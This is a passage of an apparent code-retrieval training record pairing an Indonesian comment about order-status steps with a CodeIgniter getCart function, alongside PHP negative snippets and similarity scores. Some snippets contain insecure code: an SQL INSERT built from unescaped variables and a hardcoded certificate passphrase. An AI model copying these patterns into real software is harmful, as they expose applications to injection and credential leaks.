'.lang_check('Listing').' '.$title.' ('.$row->address.'), '.lang_check('expired at').' '.$date_expired;\n\n $json_data[] = $data;\n }\n }\n \n // Package expired fetch\n $user = $this->user_m->get($this->session->userdata('id'));\n $package = $this->packages_m->get($user->package_id);\n if($package->package_days > 0 && strtotime($user->package_last_payment)<=time())\n {\n $data = array();\n $url = site_url('frontend/myproperties/');\n $data['id'] = $row->id.'-package_expired';\n $data['type'] = 'package_expired';\n $data['url'] = $url;\n $data['date'] = $user->package_last_payment;\n $data['message'] = lang_check('You receive new message').': '.lang_check('Date for your package expired, please extend');\n $json_data[] = $data;\n }\n $this->data['results'] = $json_data;\n $this->data['message'] = lang_check('Notifications');\n }\n }\n\n echo json_encode($this->data);\n exit();\n }", "function notification($param1 = '', $param2 = '', $param3 = '')\n\t\t{\t\n\t\t\t\n\t\t\tif ($this->session->userdata('parent_login') != 1)\n redirect(base_url(), 'refresh');\n\t\t\t\n\t\t\tif ($param1 == 'create') {\n\t\t\t\t$data['notice_name'] = $this->session->userdata('name');\n\t\t\t\t$data['notice'] = $this->input->post('notice'); \n\t\t\t\t$this->db->insert('noticeboard', $data); \n\t\t\t\t\n\t\t\t\t$this->session->set_flashdata('flash_message' , get_phrase('data_added_successfully'));\n\t\t\t\tredirect(base_url() . 'index.php?parents/notification/', 'refresh');\n\t\t\t} \n\t\t\t\n\t\t\t$page_data['page_name'] = 'notification';\n\t\t\t$page_data['page_title'] = 'Manage Notification';\n\t\t\t$this->db->order_by('notice_id','desc');\n\t\t\t$page_data['notices'] =$this->db->get('noticeboard')->result_array();\n\t\t\t$this->load->view('backend/index', $page_data);\n\t\t}", "public function addNotification(Notification $notification)\n {\n $payload = $this->getNotifications();\n $payload[] = $notification;\n $this->payload = serialize($payload);\n }", "function createMessage($object) {\n\tglobal $USER;\n\t\n\t$message = new \\core\\message\\message();\n\t$message->component = 'local_littlehelpers';\n\t$message->name = 'paragraph52notification';\n\t$message->userfrom = $USER;\n\t\n\t// Get user\n\t$message->userto = core_user::get_user($object->useridto);\n\t\n\t// force email sending\n\t$message->userto->emailstop = 0;\n\t\n\t$message->subject = $object->subject;\n\t$message->fullmessage = $object->fullmessage;\n\t$message->fullmessageformat = FORMAT_MARKDOWN;\n\t$message->fullmessagehtml = $object->fullmessagehtml;\n\t$message->smallmessage = $object->smallmessage;\n\t$message->notification = '0';\n\t\n\t$message->contexturl = 'https://moodle.tu-darmstadt.de/local/littlehelpers/paragraph52';\n\t$message->contexturlname = 'Paragraph52';\n\t$message->replyto = \"[email protected]\";\n\n\treturn $message;\n}", "public function parse_body()\n\t{\n\t\tforeach ($this->vars AS $key => $value)\n\t\t{\n\t\t\t$this->body = str_replace('{' . $key . '}', $value, $this->body);\n\t\t}\n\n\t\t// Pas de HTML pour MSN / Jabber\n\t\tif ($this->method == NOTIFY_MSN || $this->method == NOTIFY_JABBER)\n\t\t{\n\t\t\t$this->body = preg_replace('#</?[^>]+?>#si', '', $this->body);\n\t\t\t$this->body = str_replace(array(\"\\r\\n\", \"\\r\"), array(\"\\n\", \"\\n\"), $this->body);\n\t\t\t$this->body = str_replace(\"\\n\", \"\\r\\n\", $this->body);\n\n\t\t\tif ($this->method == NOTIFY_JABBER)\n\t\t\t{\n\t\t\t\t$this->body = htmlspecialchars($this->body);\n\t\t\t}\n\t\t}\n\t}", "function getMsg()\n {\n $data = [\n \"title\" => \"title one\",\n \"link\" => \"link one\"\n ];\n echo json_encode($data);\n }", "function swp_affiliatewp_update_notification( $notices = array() ) {\n if (is_string( $notices ) ) {\n $notices = array();\n }\n\n $notices[] = array(\n 'key' => 'update_notice_affiliatewp_' . SWAW_VERSION, // database key unique to this version.\n 'message' => 'Looks like your copy of Social Warfare - Pro isn\\'t up to date with Core. While you can still use both of these plugins, we highly recommend you keep both Core and Pro up-to-date for the best of what we have to offer.',\n 'ctas' => array(\n array(\n 'action' => 'Remind me in a week.',\n 'timeframe' => 7 // dismiss for one week.\n ),\n array(\n 'action' => 'Thanks for letting me know.',\n 'timeframe' => 0 // permadismiss for this version.\n )\n )\n );\n\n return $notices;\n}", "public function sendNotification($gcm_key,$title,$message,$mobiletype)\n\t{\n\n\t\tif ($mobiletype =='1'){\n\n\t\t require_once 'assets/notification/Firebase.php';\n require_once 'assets/notification/Push.php';\n\n $device_token = explode(\",\", $gcm_key);\n $push = null;\n\n //first check if the push has an image with it\n\t\t $push = new Push(\n\t\t\t\t\t$title,\n\t\t\t\t\t$message,\n\t\t\t\t\tnull\n\t\t\t\t);\n\n// \t\t\t//if the push don't have an image give null in place of image\n// \t\t\t $push = new Push(\n// \t\t\t \t\t'HEYLA',\n// \t\t \t\t'Hi Testing from maran',\n// \t\t\t \t\t'http://heylaapp.com/assets/notification/images/event.png'\n// \t\t\t \t);\n\n \t\t//getting the push from push object\n \t\t$mPushNotification = $push->getPush();\n\n \t\t//creating firebase class object\n \t\t$firebase = new Firebase();\n\n \tforeach($device_token as $token) {\n \t\t $firebase->send(array($token),$mPushNotification);\n \t}\n\n\t\t} else {\n\n\t\t\t$device_token = explode(\",\", $gcm_key);\n\t\t\t$passphrase = 'hs123';\n\t\t $loction ='assets/notification/happysanz.pem';\n\n\t\t\t$ctx = stream_context_create();\n\t\t\tstream_context_set_option($ctx, 'ssl', 'local_cert', $loction);\n\t\t\tstream_context_set_option($ctx, 'ssl', 'passphrase', $passphrase);\n\n\t\t\t// Open a connection to the APNS server\n\t\t\t$fp = stream_socket_client('ssl://gateway.sandbox.push.apple.com:2195', $err, $errstr, 60, STREAM_CLIENT_CONNECT|STREAM_CLIENT_PERSISTENT, $ctx);\n\n\t\t\tif (!$fp)\n\t\t\t\texit(\"Failed to connect: $err $errstr\" . PHP_EOL);\n\n\t\t\t$body['aps'] = array(\n\t\t\t\t'alert' => array(\n\t\t\t\t\t'body' => $message,\n\t\t\t\t\t'action-loc-key' => 'EDU App',\n\t\t\t\t),\n\t\t\t\t'badge' => 2,\n\t\t\t\t'sound' => 'assets/notification/oven.caf',\n\t\t\t\t);\n\t\t\t$payload = json_encode($body);\n\n\t\t\tforeach($device_token as $token) {\n\n\t\t\t\t// Build the binary notification\n \t\t\t$msg = chr(0) . pack(\"n\", 32) . pack(\"H*\", str_replace(\" \", \"\", $token)) . pack(\"n\", strlen($payload)) . $payload;\n \t\t$result = fwrite($fp, $msg, strlen($msg));\n\t\t\t}\n\n\t\t\t\tfclose($fp);\n\t\t}\n\n\t}", "function setNotification($userID, $category, $customMessage, $link)\n\t\t{\n\t\t\t$message = \"\";\n\t\t\t\n\t\t\tif($category == \"following\")\n\t\t\t{\n\t\t\t\t$message = $customMessage;\n\t\t\t}\n\t\t\tif($category == \"post\")\n\t\t\t{\n\t\t\t\t$message = $customMessage;\n\t\t\t}\n\t\t\t\n\t\t\tif($category == \"post-like\")\n\t\t\t{\n\t\t\t\t$message = $customMessage;\n\t\t\t}\n\t\t\t\n\t\t\tif($category == \"post-comment\")\n\t\t\t{\n\t\t\t\t$message = $customMessage;\n\t\t\t}\n\t\t\t/*if($category == \"project-post\")\n\t\t\t{\n\t\t\t\t$message = $fname.' '.$lname.' created a new project titled \"'.$projTitle.'\". Click to see or follow project';\n\t\t\t}\n\t\t\tif($category == \"project-edit\")\n\t\t\t{\n\t\t\t\t$message = $fname.' '.$lname.' made changes to project titled \"'.$projTitle.'\".';\n\t\t\t}\n\t\t\tif($category == \"project-like\")\n\t\t\t{\n\t\t\t\t$message = $fname.' '.$lname.' liked project titled \"'.$projTitle.'\".';\n\t\t\t}\n\t\t\tif($category == \"project-comment\")\n\t\t\t{\n\t\t\t\t$message = $fname.' '.$lname.' commented project titled \"'.$projTitle.'\".';\n\t\t\t}\n\t\t\tif($category == \"project-addCollaborator\")\n\t\t\t{\n\t\t\t\t$message = 'You were added to project titled \"'.$projTitle.'\".';\n\t\t\t}\n\t\t\tif($category == \"project-removeCollaborator\")\n\t\t\t{\n\t\t\t\t$message = 'You were removed from project titled \"'.$projTitle.'\".';\n\t\t\t}\n\t\t\tif($category == \"Vacancies\")\n\t\t\t{\n\t\t\t\t$message = 'Admin posted new vacancy';\n\t\t\t}*/\n\t\t\t$today = date('Y-m-d');\n\t\t\t$query = $this->db->query(\"INSERT INTO `user_notificaton` (`userID`, `nMessage`,`link`, `nDate`) VALUES ('$userID','$message','$link','$today')\");\n\t\t\treturn $status = $query ? true : false;\n\t\t}", "function addUserNotification( $dataArray ) {\n\tglobal $ftsdb;\n\n\t// Make sure we have a created date and time\n\tif ( ! isset( $dataArray['created'] ) ) {\n\t\t$dataArray['created'] = mysqldatetime();\n\t}\n\n\t$result = $ftsdb->insert( DBTABLEPREFIX . 'notifications', $dataArray );\n\n\treturn $ftsdb->lastInsertId();\n}" ]
[ "0.6567872", "0.6494916", "0.63589376", "0.6346021", "0.615016", "0.6102693", "0.6099802", "0.6087681", "0.60693663", "0.6064952", "0.6059617", "0.6058239", "0.6047125", "0.6023317", "0.60197145", "0.59485346", "0.59485203", "0.59233546", "0.5902589", "0.5865821", "0.5832093", "0.5830995", "0.58286184", "0.58259344", "0.580331", "0.58025855", "0.5795695", "0.5736868", "0.5714021", "0.5712663", "0.57042", "0.57033956", "0.57033956", "0.5694872", "0.56797504", "0.56678057", "0.56534046", "0.5631828", "0.5629635", "0.56256586", "0.5619464", "0.5615417", "0.56138074", "0.5609654", "0.56054133", "0.56017125", "0.56005335", "0.5595121", "0.55912805", "0.55860335", "0.5581618", "0.558156", "0.5570304", "0.5563636", "0.5563378", "0.55575204", "0.5556177", "0.55522966", "0.5544416", "0.5540693", "0.5535112", "0.5523824", "0.5523603", "0.5513608", "0.5497557", "0.54950726", "0.54949844", "0.549064", "0.54830766", "0.54764444", "0.5474642", "0.5474317", "0.5469531", "0.54667634", "0.54527915", "0.5445641", "0.5439158", "0.5436912", "0.54206663", "0.54157233", "0.5415594", "0.54138595", "0.5409856", "0.5406754", "0.540506", "0.5400441", "0.5398031", "0.5397254", "0.5384144", "0.5382865", "0.53808284", "0.537858", "0.537716", "0.5375972", "0.5362652", "0.5359082", "0.53561604", "0.53547335", "0.5354073", "0.5352591" ]
0.541415
81
0 Menunggu admin input logistic 1 Menunggu user upload bukti 2 Bukti terupload 3 Menunggu resi 4 Resi telah ada dan barang dikirim
public function getCart($email) { $this->db->select('*'); $this->db->from('cart'); $this->db->join('type_product', 'type_product.type_id = cart.type_id'); $this->db->join('product', 'type_product.product_id = product.product_id'); $this->db->where('email', $email); $query = $this->db->get(); $data['data_array'] = $query->result(); $data['count'] = $query->num_rows(); return $data; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function upload_file_mo1()\n {//begin\n if( $this->ck_login() == 1 && $this->ck_permission() == 1 )\n {//if \n $path=\"upload/\"; \n echo $id_tb_person=trim($this->input->get_post('id_tb_person'));\n \n ## note หลักการตั้งชื่อไฟล์ที่จะ upload ต้องไม่มี . (จุด)\n /*\n \n echo \"name: \".$_FILES['doc_38_1']['name'].br();\n echo \"size: \".$_FILES['doc_38_1']['size'] .br();\n echo \"temp name: \".$_FILES['doc_38_1']['tmp_name'].br();\n echo \"type: \".$_FILES['doc_38_1']['type'].br();\n echo \"error: \".$_FILES['doc_38_1']['error'].br(); \n */\n \n echo \"<hr>\";\n if( isset($_FILES['doc_38_1']) )\n {\n //echo \"testing\"; \n echo $doc_38_1=$_FILES[\"doc_38_1\"][\"name\"];\n $file_wd1=\"doc_38_1\"; \n $this->uploadmodels->upload_file_hn($file_wd1,$path);\n echo \"<hr>\";\n }\n if( isset($_FILES['doc_passport']) )//4.สำเนาพาสปอร์ต\n {\n $file_wd2=\"doc_passport\"; \n $this->uploadmodels->upload_file_hn($file_wd2,$path); \n echo $doc_passport=$_FILES['doc_passport']['name'];\n echo \"<hr>\";\n }\n if( isset($_FILES['doc_visa']) )//สำเนาวีซ่า\n {\n $file_wd3=\"doc_visa\"; \n $this->uploadmodels->upload_file_hn($file_wd3,$path); \n echo $doc_visa=$_FILES['doc_visa']['name'];\n echo \"<hr>\";\n }\n if( isset($_FILES['doc_for_permission']) )//ใบขออนุญาตการทำงาน \n {\n $file_wd4=\"doc_for_permission\"; \n $this->uploadmodels->upload_file_hn($file_wd4,$path); \n echo $doc_for_permission=$_FILES['doc_for_permission']['name'];\n // echo $doc_pay_permission=$_FILES['doc_pay_permission']['name'];\n echo \"<hr>\";\n }\n if( isset($_FILES['doc_pay_permission']) )//ใบเสร็จรับเงินอนุญาตทำงาน\n {\n $file_wd5=\"doc_pay_permission\"; \n $this->uploadmodels->upload_file_hn($file_wd5,$path); \n echo $doc_pay_permission=$_FILES['doc_pay_permission']['name'];\n echo \"<hr>\";\n }\n \n echo $doc_permission=trim($this->input->get_post('doc_permission'));\n echo \"<hr>\";\n \n $tb=\"tb_document\"; \n $data_doc=array(\n 'id_document'=>NULL,\n 'id_tb_person'=>$id_tb_person,\n 'doc_38_1'=>$doc_38_1,\n 'doc_passport'=>$doc_passport,\n 'doc_visa'=>$doc_visa,\n 'doc_for_permission'=>$doc_for_permission,\n 'doc_pay_permission'=>$doc_pay_permission,\n 'doc_permission'=>$doc_permission\n \n );\n $insert=$this->db->insert($tb,$data_doc);\n\t\t\t\tif( $insert )\n\t\t\t\t{\n\t\t\t\t\techo \"บันทึกข้อมูลแล้ว\";\n\t\t\t\t}\n\t\t\t\t elseif( !$insert )\n\t\t\t\t{\n\t\t\t\t\techo \"เกิดข้อผิดพลาดในการบันทึกข้อมูล\";\n\t\t\t\t}\n \n redirect('home/load_content/19'); \n }//end if\n }", "function ubah_user($data) {\n global $conn;\n\n $id_admin = htmlspecialchars($data['id_admin']);\n $nama = htmlspecialchars($data['nama']);\n $updated_at = htmlspecialchars($data['updated_at']);\n $gambarLama = htmlspecialchars($data['gambarLama']);\n \n\n //CEK APAKAH USER PILIH GAMBAR ATAU TIDAK\n if( $_FILES['photo'] ['error'] === 4) {\n $photo = $gambarLama;\n } else {\n $photo = uploadFoto();\n }\n\n $query = \"UPDATE admin\n SET nama = '$nama', \n photo = '$photo', \n updated_at = '$updated_at'\n WHERE id_admin = '$id_admin'\";\n \n mysqli_query($conn, $query);\n return mysqli_affected_rows($conn);\n }", "public function upload_foto_profil_profil_saya()\n {\n $where = $this->input->post('id_admin');\n if ($_FILES != null) {\n $this->aksi_upload_foto_profil_profil_saya($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/profil_saya/' . $where);\n }", "function saveEditPerfil(){\n\t\t$cont = $this->dper->getContadorPerfilByNombre($this->nombre);\n\t\tif($cont == 0){\n\t\t\t$r = $this->dper->updatePerfil($this->id,$this->nombre);\n\t\t\tif($r=='true'){\n\t\t\t\t$msg = PERFIL_EDITADO;\n\t\t\t}else{\n\t\t\t\t$msg = ERROR_EDIT_PERFIL;\n\t\t\t}\n\t\t}else{\n\t\t\t$msg = ERROR_EDIT_PERFIL;\n\t\t}\n\t\treturn $msg;\n\t}", "function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'user_upload';\n $data['ret_Url'] = 'user_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }", "public static function upload() {\n if(isset($_POST['q1'])){\n $nomexpediteur = $_POST['q1'];\n }\n \n $choixg = isset($_POST['q1']) ? $_POST['q1'] : NULL;\n \n if(empty($choixg)){\n echo \"Remplis l'information Nom de famille<br>\";\n }else {\n }\n\n if (!preg_match(\"/^[a-zA-Z ]*$/\",$choixg)) {\n echo \"un chiffre dans le nom ?<br>\";\n }\n\n //recupere le mail de l'expediteur \n if(isset($_POST['q2'])){\n $mailUploader = $_POST['q2'];\n }\n $choixi = isset($_POST['q2']) ? $_POST['q2'] : NULL;\n\n if (empty($_POST[\"q2\"])) {\n $CourrielErr = \"Email is required\";\n echo $CourrielErr;\n } else if (!filter_var($choixi, FILTER_VALIDATE_EMAIL)) {\n $CourrielErr = \"Invalid email format\"; \n echo $CourrielErr;\n } \n //recupere recipent \n if(isset($_POST['q3'])){\n $recipent = $_POST['q3'];\n }\n\n //recupere le mail for friends \n if(isset($_POST['q4'])){\n $mailFriends = $_POST['q4'];\n }\n\n $choixig = isset($_POST['q4']) ? $_POST['q4'] : NULL;\n\n if (empty($_POST[\"q4\"])) {\n $CourrielErr = \"Email is required\";\n echo $CourrielErr;\n } else if (!filter_var($choixi, FILTER_VALIDATE_EMAIL)) {\n $CourrielErr = \"Invalid email format\"; \n echo $CourrielErr;\n } \n\n //recupere le messagesender \n if(isset($_POST['message'])){\n $messagesender = $_POST['message'];\n }\n $choixh = isset($_POST['message']) ? $_POST['message'] : NULL;\n //$testcommentaires = Wetransfert::test_input($choixh);\n \n $nb_erreur = 0;\n if(!empty($_FILES)){\n \n if(isset($_FILES['q6']['error'])){\n switch($_FILES['q6']['error']){\n case 1:\n $message['urlImg'] = '';\n $message['msg'] = \"Votre fichier ne doit pas dépasser 1Go\";\n $message['type'] = 'error';\n $nb_erreur++;\n break;\n case 2:\n $message['urlImg'] = '';\n $message['msg'] = \"Erreur\";\n $message['type'] = 'error';\n $nb_erreur++;\n break;\n case 3:\n $message['urlImg'] = '';\n $message['msg'] = \"Une erreur est survenue lors du téléchargement.\";\n $message['type'] = 'error';\n $nb_erreur++;\n break;\n case 4:\n $message['urlImg'] = '';\n $message['msg'] = \"Aucun fichier n'a été séléctionné.\";\n $message['type'] = 'error';\n $nb_erreur++;\n break; \n }\n }\n \n if($nb_erreur == 0){\n $file_name = Wetransfert::cryptFileName($_FILES['q6']);\n //$img = $_FILES['q6'];\n //$ext = substr($img['name'], strrpos($img['name'], '.') + 1);\n //$allow_ext = array(\"jpg\", \"JPG\", \"png\", \"PNG\", \"JPEG\", \"jpeg\", \"GIF\", \"gif\");\n \n //if(in_array($ext, $allow_ext)){\n //définit l'image en cours\n //$file_name = 'file_'.substr(md5($img['name']), 0, 5).'_'.time().'.'.$ext;\n \n //Récupère le chemin temporaire + la direction où on veux l'envoyer.\n $tmp_name = $_FILES[\"q6\"][\"tmp_name\"];\n $directory = $_SERVER['DOCUMENT_ROOT'].\"/we_transfer_like/app/assets/dossier/\".$file_name;\n //var_dump($_SERVER['DOCUMENT_ROOT']);die();\n move_uploaded_file($tmp_name, $directory);\n //}\n \n $dateUpload = date('d-m-Y-G-i');\n\n\n //upload\n $db = Database::getInstance();\n $stmt = $db->prepare(\"INSERT INTO upload(fichierUpload,mailUploader,dateUpload) VALUES (:fichierUpload,:mailUploader,:dateUpload)\");\n \n $stmt->setFetchMode(PDO::FETCH_ASSOC);\n \n $stmt->bindParam(':fichierUpload',$file_name);\n $stmt->bindParam(':mailUploader',$mailUploader);\n $stmt->bindParam(':dateUpload',$dateUpload); \n $stmt->execute();\n \n }\n }\n }", "public function upload_foto_kk_profil_saya()\n {\n $where = $this->input->post('id_admin');\n if ($_FILES != null) {\n $this->aksi_upload_foto_kk_profil_saya($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/profil_saya/' . $where);\n }", "public function upload_foto_ktp_profil_saya()\n {\n $where = $this->input->post('id_admin');\n if ($_FILES != null) {\n $this->aksi_upload_foto_ktp_profil_saya($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/profil_saya/' . $where);\n }", "function _submit_data()\n {\n\t$data = $this->get_data_from_post();\n\t\n\t//$data['photo'] = Modules::run('upload_manager/upload','image');\n\t$id = $this->uri->segment( 3 );\n\tif ( is_numeric( $id ) ) {\n\t $this->_update( $id, $data );\n\t redirect( 'auth/profile/' . $id );\n\t} else {\n\t $this->_insert( $data );\n\t redirect( 'auth/add_lecturer' );\n\t}\n }", "function verifierUploadSanton ($nameInput)\n {\n $cheminOK = \"\";\n $cheminUrlOk = \"\";\n \n // POUR LE MESSAGE DE RETOUR\n $idForm = $this->verifierSaisie(\"idForm\");\n \n // CONTROLLER\n // VERIFIER SI IL Y A UN FICHIER UPLOADE\n // VERIFIER SI IL N'Y A PAS DE CODE D'ERREUR\n // VERIFIER LE SUFFIXE DU FICHIER \n // (INTERDIRE .php, .asp, .jsp, etc...)\n // (AUTORISER CERTAINS SUFFIXES .jpeg, .jpg, .gif, .png, .svg, .pdf, .txt, .doc, .docx, .xls, .ppt, .pptx, .odt, .html, .css, .js, .ttf, .otf)\n // (ET NE PAS OUBLIER LES VARIANTES EN MAJUSCULES...)\n // FILTRER LE NOM DU FICHIER POUR ENLEVER LES CARACTERES BIZARRES POUR LES URLS\n // ON VA PRENDRE LA RESPONSABILITE DE SORTIR LE FICHIER DE SA QUARANTAINE\n // (IDEALEMENT IL FAUDRAIT PASSER LE FICHIER A TRAVERS UN ANTIVIRUS POUR DETECTER LES VIRUS :-/)\n // ET ON LE DEPLACE DANS LE DOSSIER assets/uploads/\n // (AVEC LE NOM FILTRE)\n \n // NOTE: \n // POUR LES IMAGES, ON PEUT UTILISER DES FONCTIONS DE PHP\n // POUR CREER DES MINIATURES\n \n // EST-CE QUE LE TABLEAU $_FILES CONTIENT LA CLE $nameInput\n if (isset($_FILES[$nameInput]))\n {\n // EN HTML\n // <input type=\"file\" name=\"upload\" />\n // EN PHP\n $tabInfoFichierUploade = $_FILES[$nameInput];\n if (!empty($tabInfoFichierUploade))\n {\n $error = $tabInfoFichierUploade[\"error\"];\n if ($error == 0)\n {\n // L'UPLOAD S'EST BIEN DEROULE\n // JE RECUPERE LES AUTRES INFOS\n $name = $tabInfoFichierUploade[\"name\"];\n $type = $tabInfoFichierUploade[\"type\"];\n $tmpName = $tabInfoFichierUploade[\"tmp_name\"];\n $size = $tabInfoFichierUploade[\"size\"];\n $categorie = $_POST[\"categorie\"];\n\n \n if ($size < 10 * 1024 * 1024) // 10 MEGAOCTETS\n {\n // OK EN DESSOUS DE LA TAILLE LIMITE\n // ON VERIFIE L'EXTENSION\n // http://php.net/manual/fr/function.pathinfo.php\n $extension = pathinfo($name, PATHINFO_EXTENSION);\n // METTRE L'EXTENSION EN MINUSCULES\n // http://php.net/manual/fr/function.strtolower.php\n $extension = strtolower($extension);\n \n // IL FAUT VERIFIER SI L'EXTENSION EST AUTORISEE\n $tabExtensionOK = \n [ \n \"jpeg\", \"jpg\", \"gif\", \"png\", \"svg\"\n \n ];\n \n // http://php.net/manual/fr/function.in-array.php\n if (in_array($extension, $tabExtensionOK))\n {\n // OK EXTENSION AUTORISEE\n // ON EST PRET A DEPLACER LE FICHIER DANS SON DOSSIER assets/uploads\n // http://php.net/manual/fr/function.preg-replace.php\n // TOUS LES CARACTERES QUI NE SONT DES LETTRES ENTRE a et z ou entre A et Z ou entre 0 et 9 ou qui ne sont -, _, .\n // ALORS IL FAUT REMPLACER PAR LE CARACTERE \"\" (EN FAIT LES SUPPRIMER)\n $nameOK = preg_replace(\"/[^a-zA-Z0-9-_\\.]/\", \"\", $name);\n\n\n $cheminPhotoUrl = \"img/santons/\" . $categorie .\"/\";\n $cheminMovePhoto = \"assets/img/santons/\" . $categorie .\"/\";\n // $cheminAssets = new PlatesExtensions;\n // $cheminAssetUrl = $cheminAssets->assetUrl();\n \n // $cheminOK = $cheminAssetUrl . $nameOK;\n\n // url pour le chemin vers le dossier pour le deplacement de l'image\n $cheminMoveOK = $cheminMovePhoto . $nameOK;\n\n // url pour la base de donnée\n $cheminUrlOk = $cheminPhotoUrl . $nameOK;\n \n // TRANSFORMER LE CHEMIN OK EN MINUSCULES\n $cheminUrlOk = strtolower($cheminUrlOk);\n $cheminMoveOK = strtolower($cheminMoveOK);\n \n // ON SORT LE FICHIER DE SA QUARANTAINE\n // http://php.net/manual/fr/function.move-uploaded-file.php\n move_uploaded_file($tmpName, $cheminMoveOK);\n \n }\n else\n {\n // KO\n // EXTENSION NON AUTORISEE\n $GLOBALS[\"santonCreateRetour\"] = \"EXTENSION NON CONFORME\";\n }\n }\n else \n {\n // KO\n // FICHIER TROP VOLUMINEUX\n $GLOBALS[\"santonCreateRetour\"] = \"FICHIER TROP VOLUMINEUX\";\n }\n }\n }\n }\n \n return $cheminUrlOk;\n}", "public function store()\n {\n \n //POST\n $nombres = Security::verificateName( $_POST['nombres']);\n $apellidos = Security::verificateName( $_POST['apellidos']);\n $correo = Security::verificateEmail( $_POST['correo']);\n $clave1 = Security::verificatePassword($_POST['clave']);\n $numero_documento = Security::verificateDocument( $_POST['numero_documento']);\n $fk_rol = Security::verificateInt( $_POST['rol']);\n $fk_cargo = Security::verificateInt( $_POST['cargo']);\n $fk_tipo_documento = Security::verificateInt( $_POST['tipo_documento']);\n $fk_tipo_contrato = Security::verificateInt( $_POST['fk_tipo_contrato']);\n $salario = Security::verificateInt( $_POST['salario']);\n\n\n\n //Nomina\n $fecha_de = $_POST['fecha_de'];\n $fecha_hasta = $_POST['fecha_hasta'];\n $arrayDatos = json_decode($_POST['arrayDatos']);\n\n if($nombres && $apellidos && $correo && $clave1 && $numero_documento && $fk_rol && $fk_cargo && $fk_tipo_documento && $fk_tipo_contrato && $salario && $fecha_de && $fecha_hasta && $arrayDatos)\n {\n\n if(!Login::verificarSiExisteEmail($correo))\n {\n //? img si no se pone una img tomara el valor por defecto empty(si esta undefined da false)\n if(empty($_POST['user_img']))\n {\n //? Update Img\n $fecha = new DateTime();\n // funcion img\n $directorio = \"assets/uploud/profile/\";\n $archivo= $directorio.basename($fecha->getTimeStamp().$_FILES[\"user_img\"][\"name\"]);\n //info de ext(jpg,png,etc)\n $tipoArchivo =strtolower(pathinfo($archivo,PATHINFO_EXTENSION));\n //verifica que el archivo tenga dimensiones(w,h) \n $DimensionesImg =getimagesize($_FILES['user_img']['tmp_name']);\n \n if($DimensionesImg == true)\n {\n $tamañoImg = $_FILES['user_img'][\"size\"];\n if($tamañoImg > 2000000)\n {\n // echo \"El archivo tiene que ser menor a 2mb\";\n echo json_encode(['error'=>\"El archivo tiene que ser menor a 2mb\"]);\n return;\n }\n else{\n if($tipoArchivo == \"jpg\" || $tipoArchivo == \"png\" || $tipoArchivo == \"jpeg\" )\n {\n move_uploaded_file($_FILES[\"user_img\"][\"tmp_name\"],$archivo);\n $img_usuario=$archivo;\n }\n else{\n // echo \"la extension del archivo no es valida\";\n echo json_encode(['error'=>'a extension del archivo no es valida']);\n return;\n }\n }\n }else\n {\n // echo \"el documento no es una img\";\n echo json_encode(['error'=> 'el documento no es una img']);\n return;\n \n }\n }else{\n $img_usuario = 'assets/uploud/profile/default.svg';\n }\n\n\n $token = $this->seguridad->encryptToken(str_replace(' ','',$nombres.$numero_documento.$apellidos));\n $clave = password_hash($clave1,PASSWORD_DEFAULT);\n parent::storeUser($nombres,$apellidos,$correo,$salario,$clave,$img_usuario,$numero_documento,$fk_rol,$fk_cargo,$fk_tipo_documento,$fk_tipo_contrato,$token);\n \n \n\n //?NOMINA\n $fk_usuario = parent::consultarUltimoUsuario();\n $nomina = new Nomina();\n if($fecha_de && $fecha_hasta && $arrayDatos){\n\n $nomina->createNomina($fk_usuario->id, $fecha_de, $fecha_hasta,2);\n \n $lastNomina =$nomina->consultarUltimaNomina();\n \n $total = 0;\n for ($i=0; $i < count($arrayDatos); $i++) { \n $data = $arrayDatos[$i];\n $nomina->createConcept($data->descripcion,2, $data->fk_asiento_contable, $data->valor, $data->fk_tipo_concepto, $lastNomina->id_nomina);\n \n if($data->fk_asiento_contable == 2)\n {\n $total -=$data->valor;\n \n }else{\n $total +=$data->valor;\n }\n }\n \n \n $nomina->updateNominaValor($total,$lastNomina->id_nomina);\n echo json_encode(['ok'=> 'Creado']);\n return;\n }else{\n return;\n }\n\n //? END-NOMINA\n\n echo json_encode(['ok' => 'usuarioCreado']);\n\n\n }else{\n echo json_encode(['error' => 'correoExistente']);\n }\n }\n else{\n echo json_encode(['error' => 'errorAgregarUsuario']);\n return;\n }\n }", "function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'coupon_upload';\n $data['ret_Url'] = 'coupon_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }", "function post_fichier($mog)\r\n\t{\r\n\t\tglobal $rep_comun, $user, $nuked, $language, $niveau_upload, $galerie_adm, $max_upload;\r\n\r\n\t\tif($user[1] < $niveau_upload)\r\n\t\t{\r\n\t\t\techo\" <div style=\\\"text-align: center;\\\">\"._NOTACCES.\"</div>\";\r\n\t\t}\r\n\t\telse if($galerie_adm =\"on\")\r\n\t\t{\r\n\r\n\t\t\tif(isset($max_filesize) && $max_filesize != \"\" && $max_upload >= $max_size){\r\n\t\t\t\t$max_size = str_replace(\"M\", \"\", $max_filesize);\r\n\t\t\t\t$max_file_size = $max_size * 1000000; \r\n\t\t\t}else{\r\n\t\t\t\t$max_size = $max_upload;\r\n\t\t\t\t$max_file_size = $max_upload * 1000000; \r\n\t\t\t}\r\n\r\n\t\t\tif($mog == \"\")\r\n\t\t\t{\r\n\t\t\t \t$doss = \"\"; \r\n\t\t\t} else {\r\n\t\t\t \t$doss = \"<input type=\\\"hidden\\\" name=\\\"dossier\\\" value=\\\"1\\\" />\";\r\n\t\t\t}\r\n\r\n\t\techo\"\t<div style=\\\"text-align: center;\\\"><br /><big><b>\"._POSTFILE.\" \".$dossier.\"</big></b><br /><br />\r\n\t\t\t<small><i>\"._MAXSIZE.\" \".$max_size.\" Mo</i></small><br /><br />\r\n\t\t\t<form name=\\\"input\\\" action=\\\"index.php?file=Espace_membre&amp;op=do_post\\\" method=\\\"post\\\" enctype=\\\"multipart/form-data\\\"> \r\n\t\t\t<input type=\\\"hidden\\\" name=\\\"MAX_FILE_SIZE\\\" value=\\\"\".$max_file_size.\"\\\" /> \r\n\t\t\t<input 